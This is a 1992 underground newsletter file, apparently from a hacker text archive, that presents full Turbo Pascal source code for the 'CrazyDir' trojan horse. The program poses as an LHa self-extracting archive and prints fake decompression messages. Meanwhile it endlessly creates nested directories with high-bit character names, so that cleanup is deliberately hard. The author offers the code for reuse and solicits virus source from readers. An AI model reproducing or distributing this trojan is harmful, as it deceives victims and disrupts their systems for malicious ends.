home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / pc / virus / vas016.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  4.2 KB  |  102 lines
  1.  
  2. ╔═════════════════════════════════════════════════════════════════════════════╗
  3. ║ ─────────────────────── ▀▄     █ █▀▀▀█ █▀▀▀▀ ────────────────────────────── ║
  4. ║ ───────────────────────── ▀▄   █ █   █ █▄▄▄▄ ────────────────────────────── ║
  5. ║ ─────────────────────────── ▀▄ █ █▀▀▀█     █ ────────────────────────────── ║
  6. ║ ───────────────────────────── ▀█ █   █ ▄▄▄▄█ ────────────────────────────── ║
  7. ╠═════════════════════════════════════════════════════════════════════════════╣
  8. ║                Vaginal and Anal Secretions Newsletter #0016                 ║
  9. ╟─────────────────────────────────────────────────────────────────────────────╢
  10. ║          Date Released : [05/22/92]       Author: Phone Phreak              ║
  11. ╟─────────────────────────────────────────────────────────────────────────────╢
  12. ║                      A WORKING Turbo Pascal 6.0 Trojan                      ║
  13. ╙─────────────────────────────────────────────────────────────────────────────╜
  14.  
  15.         Well it seems all of us Turbo Pascal programmers are having the
  16. hardest time finding malicious source code, so i decided to convert the 'c'
  17. source code to the CRAZYDIR trojan over to pascal and modify it slightly to
  18. improve it. If you want, feel free to mess around with it and change it all
  19. around...
  20.  
  21. - - - - - - - CUT HERE - - - - - - - - - - - CUT HERE - - - - - - - - - - - -
  22.  
  23. (************************************************)
  24. (**                                            **)
  25. (**           CrazyDir Trojan Horse            **)
  26. (**       Turbo Pascal 6.0 Source Code         **)
  27. (**    Converted From 'C' By Phone Phreak      **)
  28. (**                                            **)
  29. (** ------------------------------------------ **)
  30. (**    Well, I noticed that many of you have   **)
  31. (** probably heard of CRAZYDIR, a nice little  **)
  32. (** trojan horse that goes nuts making lots of **)
  33. (** directories. For example, the trojan would **)
  34. (** make 10 directories like '315135' and then **)
  35. (** change to one and make 10 more and so on.  **)
  36. (** Well I have improved it a little bit, It   **)
  37. (** Will now use high-bit ascii characters to  **)
  38. (** make removing the directories even more of **)
  39. (** bitch. I also added a few lines of code so **)
  40. (** it looks like it is actually doing some-   **)
  41. (** thing. This program could use some work    **)
  42. (** but for the most part it works. It will    **)
  43. (** emulate a Self-Extracting .LZH file of     **)
  44. (** about 15k, So after a while the person     **)
  45. (** might get suspicious heh. On a fast system **)
  46. (** they should get a few thousand directories **)
  47. (** in a matter of seconds.                    **)
  48. (**                                            **)
  49. (************************************************)
  50.  
  51. {$I-}
  52.  
  53. Uses Dos, Crt;
  54.  
  55. Var FuckDirs : Array[1..10] Of String[8];
  56.     Counter2 : Byte;
  57.  
  58. Procedure PickDirs;
  59.  
  60.  Function ShitString : String;
  61.   Var Counter : Byte;
  62.       TempStr : String;
  63.   Begin
  64.     TempStr := '';
  65.     For Counter := 1 to 8 do TempStr := tempstr + Chr(Ord(Random(155)+100));
  66.     ShitString := TempStr;
  67.   End;
  68.  
  69. Var Dude : Byte;
  70.  
  71. Begin
  72.   For Dude := 1 to 10 do FuckDirs[Dude] := ShitString;
  73. end;
  74.  
  75. Begin
  76.    Randomize;
  77.    Writeln('LHa''s SFX 2.06s (c)1991, Yoshi');
  78.    Writeln;
  79.    Write('LOADER.EXE: Uncompressing 15,301 Bytes .');
  80.    Repeat
  81.    Write('.');
  82.    PickDirs;
  83.    For Counter2 := 1 to 10 do MkDir(FuckDirs[Counter2]);
  84.    ChDir(FuckDirs[random(9)+1]);
  85.    Until 1 = 2;                       {This makes it go forever}
  86. end.
  87.  
  88. - - - - - - - CUT HERE - - - - - - - - - - - CUT HERE - - - - - - - - - - - -
  89.  
  90.         That's that... Excuse the sloppy programming, but oh well, I was in
  91. a hurry... Like I said, it needs some work, but it should give you a basic
  92. idea. If you have written a great virus and want to put the source code in
  93. a VaS textfile, you know where to reach us (PoT BBS)...
  94.  
  95. ╔═════════════════════════════════════════════════════════════════════════════╗
  96. ║               For All The Latest VAS Files, Be Sure To Call :               ║
  97. ╟─────────────────────────────────────────────────────────────────────────────╢
  98. ║     Persistence Of Time BBS ■ 2400 baud ■ (313)462-1906 ■ NUP = T.MESS01    ║
  99. ╚═════════════════════════════════════════════════════════════════════════════╝
  100.  
  101.  
  102.